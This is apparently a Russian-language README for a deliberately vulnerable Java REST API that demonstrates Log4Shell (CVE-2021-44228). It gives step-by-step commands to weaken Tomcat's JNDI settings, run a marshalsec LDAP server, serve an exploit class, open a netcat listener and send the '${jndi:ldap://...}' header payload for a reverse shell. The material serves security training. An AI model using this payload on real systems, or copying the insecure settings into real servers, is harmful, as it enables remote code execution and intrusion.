
Уязвимый REST API на Java для демонстрации CVE-2021-44228 (log4shell).
Уязвимый REST API на Java для демонстрации CVE-2021-44228 (log4shell).
Log4Shell потряс интернет в начале декабря 2021 года. Уязвимость нулевого дня в библиотеке логирования Apache Log4j, способная на удалённое выполнение кода (RCE), заставила организации по всему миру в спешке исправлять, патчить и смягчать последствия для своих публичных Java-приложений. Пока сообщество InfoSec объединялось, чтобы предоставлять командам безопасности непрерывный анализ и решения, сообщество Log4j активно разрабатывало патчи для устранения этой уязвимости.
Я разработал этот простой уязвимый REST API, который демонстрирует путь к удалённому выполнению кода (RCE) путём эксплуатации этой уязвимости с использованием сервера приложений Apache Tomcat. Надеюсь, эта proof of concept может быть использована для обучения ваших команд SecOps или для образования текущих и будущих разработчиков приложений. Обучайте свои команды и улучшайте свою защиту, включая, но не ограничиваясь, правила/оповещения SIEM, EDR, SOAR.
Чтобы понять рабочий процесс этой атаки, взгляните на эту графику, предоставленную Швейцарской правительственной командой реагирования на компьютерные инциденты GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
Этот учебник и исходный код предоставлены исключительно в образовательных и учебных целях. Пожалуйста, используйте этично и ответственно. Этот учебник был подготовлен с предположением, что атакующий и уязвимое приложение находятся на одном компьютере. Для более реалистичного опыта распределите архитектуру и запустите уязвимое приложение на отдельном сервере, а для имитации атакующего используйте что-то вроде Kali Linux или другого дистрибутива.
Давайте начнём.
После установки Java JDK и Maven, предполагая, что вы используете дистрибутив Linux, перейдите в каталог вашего vuln4japi и соберите проект.
Примечание: Возможно, вы захотите изменить некоторые компоненты приложения перед сборкой. Например, вы можете изменить путь к журналам log4j в файле log4j2.xml. Или вы можете захотеть изменить имя результирующего war-файла в файле pom.xml. Это полностью на ваше усмотрение.
cd /path/to/vuln4japi
mvn clean package -DskipTests
Если вы не видите ошибок сборки, у вас должен появиться новый каталог target с вашим файлом vuln4japi.war. Хорошо, мы вернёмся к этому файлу чуть позже. Давайте кратко рассмотрим Tomcat.
В зависимости от вашей версии Java 8, в более поздних версиях 8 этот конкретный параметр (com.sun.jndi.ldap.object.trustURLCodebase) может быть установлен в false. Это фактически запрещает JNDI загружать удалённую кодовую базу через LDAP. А именно это эксплуатирует данная уязвимость. Поэтому нам нужно изменить файл catalina.properties в Tomcat, чтобы установить этот системный параметр в True, сделав Tomcat намеренно уязвимым.
После загрузки apache-tomcat-8.0.32.tar.gz для Linux распакуйте его куда-нибудь, например, в каталог /opt.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Перейдите в каталог /conf и измените catalina.properties в нижней части файла.
Примечание: Используйте ваш предпочитаемый текстовый редактор. В этом примере я использую vim.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# добавьте следующие системные свойства в самый конец
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Выйдите из текстового редактора и запустите Tomcat с помощью скрипта catalina.sh в каталоге /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Проверьте ваш экземпляр Apache Tomcat, перейдя на http://localhost:8080/ или с помощью простой команды cURL из интерфейса командной строки.
curl -vv http://localhost:8080/
Если вы видите страницу приветствия в браузере или терминале, значит, всё работает. Теперь мы можем развернуть наше уязвимое приложение.
Скопируйте ваш .war файл в каталог /webapps Tomcat. Tomcat развернёт ваше приложение в горячем режиме в течение нескольких секунд.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Проверьте ваше уязвимое приложение, перейдя по URL приложения или снова используя cURL из командной строки. В браузере: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
Вы должны увидеть следующее сообщение: Hi, this is a Vulnerable App!!
Теперь, когда у нас есть некоторые работающие компоненты, давайте эксплуатировать эту штуку...
Проект marshalsec — это отличный ресурс для детального понимания этого типа атаки. По сути, он действует как вредоносный LDAP-сервер, который затем перенаправляет любой запрос на вредоносный веб-сервер, размещающий .class файл. Я настоятельно рекомендую ознакомиться с некоторой документацией, размещённой в репозитории mbechler на Github, перед использованием marshalsec: https://github.com/mbechler/marshalsec
Если вы решите пропустить технические детали и документацию, клонируйте этот репозиторий и перейдите в его каталог. Теперь, перед сборкой этого Java-проекта, я рекомендую добавить одну строку отладки в файл LDAPRefServer.java. Этот оператор печати будет полезен при захвате LDAP-запроса от уязвимого сервера.
Используя ваш любимый текстовый редактор, отредактируйте следующий файл и добавьте строку, как показано в блоке кода ниже, в метод processSearchResult().
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// добавьте эту строку, чтобы показать полную информацию о запросе
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
После изменения файла сохраните и выйдите из текстового редактора. Теперь вы должны иметь возможность собрать проект marshalsec с помощью Maven. Вернитесь в корневой каталог папки marshalsec и выполните maven.
mvn clean package -DskipTests
Если ошибок сборки нет, вы должны увидеть новый каталог /marshalsec/target с включённым файлом marshalsec-0.0.3-SNAPSHOT-all.jar.
Давайте настроим остальные инструменты атакующего, прежде чем запускать наш вредоносный LDAP-сервер marshalsec.
Перейдите в каталог exploitz и скомпилируйте включённый файл Exploit.java.
javac Exploit.java
Если вы не получили ошибок, у вас должен появиться файл Exploit.class.
На этом всё. У вас должно быть всё скомпилировано и запущен веб-сервер. Опять же, предполагая, что вы запускаете этот тест на Linux-сервере, вам нужно будет открыть как минимум 5 окон терминала.
Терминал 1: Запустите marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Терминал 2: Перейдите в каталог xploitz, где находится ваш Exploit.class, и запустите локальный Python-сервер.
python3 -m http.server 8081
Терминал 3: Выполните tail для файла /tmp/logs/vuln4jpi_log4j.log, чтобы отслеживать запросы к вашему уязвимому приложению.
tail -f /tmp/logs/vuln4japi_log4j.log
Терминал 4: Откройте прослушиватель netcat на порту 8001. Это будет обратное соединение с тем же хостом, конечно. Помните, мы делаем всё это на одном хосте. Для реального опыта попробуйте использовать 2 или 3 разных компьютера.
nc -lv 8001
Терминал 5: Отправьте вашу полезную нагрузку с помощью простой команды cURL.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
Если всё работает как ожидалось, у вас должна появиться оболочка, переданная вашему прослушивателю netcat на порту 8001. Просмотрите все окна терминалов и наблюдайте за поведением в каждом из них, ища опечатки или синтаксические ошибки. Здесь происходит много всего, поэтому человеческая ошибка всегда возможна. Попробуйте несколько раз, пока не освоитесь. Возможно, вам придётся немного изменить исходный код, но, эй, так мы и учимся. ;-)
Надеюсь, вам понравится учиться на этом проекте так же, как мне понравилось его собирать. Найдите меня в twitter @offswitchsec, если у вас есть отзывы или комментарии. Приятного времяпрепровождения и удачного взлома!